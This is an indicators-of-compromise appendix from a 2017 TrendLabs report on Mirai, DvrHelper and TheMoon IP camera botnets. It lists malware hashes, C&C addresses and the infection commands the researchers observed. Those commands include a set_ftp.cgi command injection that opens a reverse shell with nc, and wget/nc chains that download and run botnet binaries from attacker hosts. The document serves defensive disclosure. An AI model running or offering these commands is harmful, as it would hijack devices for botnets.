The Reigning King of IP Camera Botnets and its Challengers

Appendix

TrendLabs Security Intelligence Blog

Dove Chu, Kenney Lu and Tim Yeh
APT Team and CSS

May 2017

Indicators of Compromise (IoCs):

Mirai (variant targeting IP cameras)

Malicious Binaries

SHA256	Detection
1016e15a2eb4808c7e8c772cc53ba7cfa69b87538aa5bdc088b69095ed1ed6a5	ELF_MIRAI.SM1
126d9880b902cce341377f6b5e90dd0749980fe7ba761ec7f346bda6bbf4abc1	ELF_MIRAI.SM1
12b09df2c3c19e3491508f1281e8dad14fd39b767e1913308b5f36a26b426efe	ELF_MIRAI.SM1
198bbf80cf80d04026ff1bd87eefae1d4c125b984b0425a095c384fa295960a2	ELF_MIRAI.SM
1e409839860ac496b7c75e162a0e00515e98f2239825946f1e2bc0965d81e7a5	ELF_MIRAI.SM
2863475e248171c7052d7e3893ea2ebd7342b196370cceda492e657ee133328d	ELF_MIRAI.SM
29d56e0a169267693cb75c565879dfff766c684e3df7ab127a07d1a9e98c11ce	TROJ_MIRLODR.A
3d4a1606ecd41a425259a3df0c977ea757c954c845f6d5b10ef9aeb58c086c3c	ELF_MIRAI.SM
52455a5bc391b17fded4ee041ec74090884b83de315eefa3938eef612a567079	ELF_MIRAI.SM1
70eff1694d8fbaf0d51eeeba120311d81db4a02b44c920e4f5fd9f7127fa6720	ELF_MIRAI.SM
7b91b6e1b26550f8081a385e3b8657db24089f19ce56f84c49ba9c8ef5578789	ELF_MIRAI.SM
8531d7c23d953ea418bdc273f44ae521633df049ffa20c69a520195ce4766c28	ELF_MIRAI.SM1
8b2f06695905a59d95004c7304e2ddd6571fd67ebc01d66045a2628a5a178158	ELF_MIRAI.SM1
905761bda4c969bed3d96caad47f4880b2ef95bc011f9c19a52a5d45ecb48e20	ELF_MIRAI.SM1
9061a3a8b87f07a24dfbcc56af3a9b37f37f9cbb318f4e6dd06230658bef0c21	ELF_MIRAI.ASL
912c8e3fea885a4b2aab1b7dd65c9c6003dd54f649ff8a79ee6be5f31baf6454	ELF_MIRAI.SM1
92f8a5a94be08db57234bbcad316ae2769cae451cc2bfd6282b33e2e5b9738c7	ELF_MIRAI.SM1
a34590ae3dc08bf30cbc537dfaa89a48a2692dcd0e83ec5405f14163171fc4ba	ELF_MIRAI.SM1
ab57a3a6595bf6d0ebc8cb0ee89eedd6859854083d78ee250b78f3d42530d521	ELF_MIRAI.SM
bdc317dc1ca5e4a8e3d3eb002330d7d10ff3ecb1486c28a62d6e6a9ebceb5323	ELF_MIRAI.SM1
c5be94f6f21244f4ae0ba37c7039b740622e8f48439b4c5d8a3b991e1d10d0a8	ELF_MIRAI.SM1
c96064ed1f27c07e4dc71590685fdffc15f691039c4f2f5f47118adbda22d103	ELF_MIRAI.SM
d1600a57f84194ae9a02b7c8fb94a3411ab1628e82911bd85aa4dc4768b81f41	ELF_MIRAI.SM1
d27b92168b99482ccde8bb131c5a63e3da00006556cde63e906f4f88315dd828	ELF_MIRAI.SM1

Infection Flow

Step1: Command Injection: set_ftp.cgi

```
$(nc 51.15.72.227 81 -e /bin/sh)
```

Step2: Download and execute

```
id; uname -m; rm /tmp/tveth*; wget http://51.15.72.227/killa/tveth.arm5 -O /tmp/tveth; chmod 777 /tmp/tveth; /tmp/tveth; wget http://51.15.72.227/killa/tveth.mpsl -O /tmp/tveth1; chmod 777 /tmp/tveth1; /tmp/tveth1
```

C&C Location and IP

IP	Port
51.15.72.227	80, 81
friked.top (46.183.217.197)	8080

DvrHelper (newer variant of Mirai)

Malicious Binaries

SHA256	Detection
01cbff6416174b26798b47e22208662d3527f74a7699688f823bc081175ada0e	ELF_MIRAI.ASL
029801eeea841fc84decf9cb4d1138e029af3537024d7e062834735f6272d5d8	ELF_MIRAI.ASL
02d21c8708c8b9479d0b66779cfacdc60efd8676a7a1446852f31259922020bd	ELF_MIRAI.ASL
06b333533768e0d8b8a64f0a938565cea0c6304483ca5cc9918c50aef3be1027	ELF_MIRAI.ASL
0bff43824ac4748fdaefecb9f8d27603d9ffbcdccf30bf57bf936ba779f898b1	ELF_MIRAI.ASL
11a566cb790044daa27d1de0b6e09947dca31cfafb42c42d87a74abf7fe129a7	ELF_MIRAI.ASL
13113281d442ab467b6d96720dd02b9cec5e8c66d1d1f0cc51ac8822c2389921	ELF_MIRAI.SM
1566904673804300aaa770e91dec6d996e856b7cc104fade0323780ddf782b14	ELF_MIRAI.ASL
174b1a0fa669d622ddbfbfaeb998aff2784636092d09d435cf24196917e4abb4	ELF_MIRAI.SM
1a767a5fb5499f81a78c0440f3629d8ca478e6536ba9574ffb5fc56293752f8d	ELF_MIRAI.ASL
1f8e413815fc718fa62d75776555c47c99e505687d5424afc2c967e035e069c2	ELF_MIRAI.ASL
20d4d83d7a4943f595c88ccf76104754909ef4f922c3f5e0ea5778ecd1693b49	ELF_MIRAI.ASL
22d96c1aa22c1753a96b99dfba9495b9ffa89e9af32fb61b36ff9c5d4f5dc8a7	ELF_MIRAI.ASL
256735bac773d0315ae86ac7afab328ab90a7e8376b0b55714a6749d0263c137	ELF_MIRAI.ASL
37e6f7c605010339418c62bb1767d60b46ac362c30ae20a9c0702819f91994ea	ELF_MIRAI.SM1
3d6b4849b663d12b6e371669a87e581f2477a7e0dd18e08f8497883425f62629	ELF_MIRAI.SM1
40c02c861561c25b85a5f338f5400e39583baf18a3eee862bc124d3b8c98a216	ELF_MIRAI.SM1
4165542d837dde2e831abdb0b385d4ed5077ad7725e28e7a84795f946c5f5e3e	ELF_MIRAI.ASL
42b6599911d1e2de92c4d7dbf8456253cddffe92d6ae38d91a7984aa031954aa	ELF_MIRAI.ASL
42ed94d34b7faa3bf948a679804a4d5d91c776cdc0378a380f6efc365d1360c9	ELF_MIRAI.ASL
4a035cf290c2a08d60c720b84ea2e343ae63971f69277e79e6d795dd06b7ae37	ELF_MIRAI.ASL
4effb36171edfa50ed35c409cf93b85e136abb27905689c8ae1a7c609f39ad42	ELF_MIRAI.SM1
522a6875b0beac77434c3a0139727c0e3dbe8f06c39260791a8af1b19007afe1	ELF_MIRAI.SM1

525a4227f3efae5a061a3b0cf8f179dd0f048b5f369166d6b71953559804d15a	ELF_MIRAI.ASL
555ad6eaa30583d55d44b00292aee7e69df3c32ba13fabd08f6ffa88347bd58a	ELF_MIRAI.ASL
59ab151f688f0342df356a378ef1dad3fea23d936a2261e77162da363f64c5fa	ELF_MIRAI.SM
6180542323dfe22311e512e53e2937e912c666b9f5ad966524abde41a13d3a8d	ELF_MIRAI.ASL
61c7c7fd4c8c64d36f1f4db8717c01e7d077b6bb256c1f556fdde81f30c47ed1	ELF_MIRAI.SM1
625aa31b0a0a53feb41df849422ce9026d350cd16faf124a87e935dac15b979e	ELF_MIRAI.ASL
644b2d5c0b633a133a410f99aa43d6d1077d5c2a3d6e5eff4b3384312287b29a	ELF_MIRAI.ASL
66d7c9705c2fb82cab87a61e3a748fbb128146706a927854e46172be0226a0b0	ELF_MIRAI.ASL
6821ab8d7629c6e1f3dff282b1e7edfca7071e84f01cc0f3bc1122d1d882c224	TROJ_MIRLODR.B
7b912d10dcb6a489fe46ad36e65e3f04f791febfcbc163a070f1b1b61269dc09	ELF_MIRAI.AUSL
8779fcbe9baa6f3dac5923a6c43074f6b5a798424d11de59f06147d1f9446f65	ELF_MIRAI.AUSL
8c04264cc37e71545c4631734a642a7ff3b98786edc436ff1a68d8f10acbf723	ELF_MIRAI.AUSL
8fe3cfc7a524cb0dcefcae11b44757c2532cb332a75f4eac255b2a02804c3a31	ELF_MIRAI.AUSL
91e4fcc11170adc7cae5e612cd8745f413baab218f21a6cf384ee4da7d451724	ELF_MIRAI.AUSL
96ae6b039c09d57bca042947358eeb26b604da1dfe89178b2e6f64eef05cdfb9	ELF_MIRAI.SM
9850e393ca8448812575bd4b545fd8c9d653d62c6c88259bc7cb422daa9fab58	ELF_MIRAI.AUSL
9ebcbbcd310194c9c262b6c426fe8b0f2027374443910b2ebdd7c3e8180cc86e	ELF_MIRAI.AUSL
a393449a5f19109160384b13d60bb40601af2ef5f08839b5223f020f1f83e990	ELF_MIRAI.AUSL
a5c7a870dcddec13c4cc6a57ce0fca1c028731dbf0db4a417bf41e36fea49237	ELF_MIRAI.AUSL
a5cda1254d119c068dc7884df06356e22f5e7fdb251a8bc83fc9c1f7841c1300	ELF_MIRAI.AUSL
a8935deefa13a5d89327411a48595534b921391eed1712c3265c454dba5494a0	ELF_MIRAI.AUSL
aad4233a019de67bfa9186a6931805a36542afd5c45e7b9df7d7b492144ddc83	ELF_MIRAI.SM
ae20fd9582e5fb623acb0d6a0e9cdc804cc6c6e61b77980a84526d3e586b2bb4	ELF_MIRAI.SM
b16e9c09a99ae827b26adcb153ebb0e7b1574cd6d74b469a353be258b7671eae	ELF_MIRAI.SM1
b19209af402c9b99be61bc33049e6d2a5cd5400abb4baa541a6bc38a6335e99a	ELF_MIRAI.SM1
b8ef0739359c46fbaa371732c8af597246330fbb33b6101e608ff3e5e27bb2bc	ELF_MIRAI.AUSL
b9ccdabbc0fb527116a6b8efda8d6b524599d767dadd9212079f39656d49ef3a	ELF_MIRAI.SM1
be3a4d49a9902b40a531c24a32f3c43963c7e253fef8e97964323c27b972caa1	ELF_MIRAI.AUSL
bff5b19b07aafd1e46ca18cb6a9838af57d8623f64c81a11cf76bdc06191a551	ELF_MIRAI.AUSL
c558348ac2ffa36c93b6311eda9da76516f36d21464256b03fb71a819fe5873d	ELF_MIRAI.SM1
c5a09df922382f2712d890f8b17eb9a24aab723b334723725f94ba6819936b19	ELF_MIRAI.AUSL
cb51d1d76ba3e528cd4a3b669f6c9db33dc2a8e6a9f588efe25990aa7b6a02cb	ELF_MIRAI.SM
cc640b5c5aee172c12d0f5f0a1447e3089e596e01f014e6d97eeacd7c56a7b00	ELF_MIRAI.AUSL
cf35002f0282c6955fa5046fca7729bfdf631f30178cac26b96e853a1d7c5fa1	ELF_MIRAI.AUSL
d1df8f75f397cebd6f5099c2a1eef3417cfec44389abe6e8ebd5a41a5f7e6229	ELF_MIRAI.AUSL
d26cf1bdee499f97f7aef5f4dd4451b170888c2eb39c331ab65d70eef946bbdf	ELF_MIRAI.AUSL
d95c84a07a72698f4de24331366ef3c2962e52e459a7253486623021cdcb9da7	ELF_MIRAI.AUSL
dc3e9909e0a9e3f009382004664bd96e8ab4870bea3650d966e35dd2b55fc30e	ELF_MIRAI.SM1

dd16f6841700bd6c4d13ec8a7b64a250c14c8d56e429be347b020ecbb6ab2f45	ELF_MIRAI.AUSL
e4882667a604a40a59c1c7747e15922dda21b034a43f3eca7a7849c75eaa7582	ELF_MIRAI.AUSL
e9c1cb2592a4330dc0726bf8b4c335d75917eb0e33134c861ec22f450772ef45	ELF_MIRAI.AUSL
eae3e8cca314f6cf1e1d8d0f40b79761df83d0e84eb8a4fd2639eaf5fd276260	ELF_MIRAI.AUSL
f0bf324fb1435b15fa70c6ab2bc90d67893b40b4a2d6cceba8d6fde0fdd87fc3	ELF_MIRAI.AUSL
f0cf1503ba2ca51764efa89adb70dffa055f4e2adb9c81e694f0a6bb4da47c56	ELF_MIRAI.AUSL
f4d2693c4bcf21ff163e6a11df095184c6071513954b9c4569a0274966009a41	ELF_MIRAI.SM1
f6942ead1ba1fbea7089cf470de00e419ee7bec2d4d01b0a81d32d5e2b66aff2	ELF_MIRAI.AUSL
fd9399e66765280a9a7992e063e02dc9642dd03b62f331be7b8f2428a3621476	TROJ_MIRLODR.B

Infection Flow

Step1: Command Injection: set_ftp.cgi

```
cd /tmp/ && nc 119.42.146.178 9 > dvrHelper  && chmod +x dvrHelper && ./dvrHelper
```

C&C Location and IP

IP	Port
uryjsdrfg.club/dyphfoulfp.ddns.net (103.207.167.34)	80, 443
jbeupq84v7.2y.net (110.173.49.74)	80, 8080
hysfag.3x.ro (89.42.39.160)	80
180.178.60.106	80
119.42.146.178	9

TheMoon

Malicious Binaries

SHA256	Detection
4436c0daed7a0d00374c3df7de4d4a0777df8b13ba732b91b88e6dce7b022a51	TROJ_MIRLODR.B
4d4d091b3befa4139b6d698cb7082f044b4a98a9e892ae0aef1472eecfa58caf	ELF_THEMOON.B
5d7826696ed703deda215f088f011090abca86fb008ed602bfb0c2cbd84ab823	ELF_THEMOON.B
7fd8c5bd5947d7279bc742e288d245bd69cbe079933ade090a1e72db69a0454f	TROJ_MIRLODR.B
867cad44dc58bc12376d325a96081c69faf31b0e57a1fac56c4bb28134fe1b6f	ELF_THEMOON.B
9859a519929593f52fe5c1f2074f33bc3bd931d5ae8c2211dcadb667de39926d	ELF_THEMOON.B
b963223d3f39884ebed3e647390e55d8de86c7e3c5daaae6509379a6fc3ba97e	ELF_THEMOON.B
ddd7521135e44375195d2bc62c8a0598f800484fb04a11be4d60cd1f4c1075b6	ELF_THEMOON.B

Infection Flow

Step1: Command Injection: set_ftp.cgi

```
$(nc 208.110.66.170 4438 -e /bin/sh)
```

Step2: Download and execute

```
cd /tmp
rm -f nalt1.sh
wget -O nalt1.sh http://208.110.66.170/nalt1.sh
chmod +x nalt1.sh
./nalt1.sh
wget -O nalt1.res http://208.110.66.170/nalt1.res
```

C&C Location and IP

IP	Port
208.110.66.170	80, 4438, 4444, 4446, 4448
185.56.30.189	5732, 4532, 5132
185.53.8.16	5732, 4532, 5132
217.79.182.212	5732, 4532, 5132
85.114.135.20	5732, 4532, 5132
95.213.143.220	5732, 4532, 5132
46.148.18.154	5732, 4532, 5132

Trend Micro Incorporated, a global leader in security software, strives to make the world safe for exchanging digital information. Our innovative solutions for consumers, businesses and governments provide layered content security to protect information on mobile devices, endpoints, gateways, servers and the cloud. All of our solutions are powered by cloud-based global threat intelligence, the Trend Micro™ Smart Protection Network™, and are supported by over 1,200 threat experts around the globe. For more information, visit www.trendmicro.com.

Securing Your Journey to the Cloud

10101 N. De Anza Blvd.
Cupertino, CA 95014

U.S. toll free: 1 +800.228.5651
Phone: 1 +408.257.1500
Fax: 1 +408.257.2003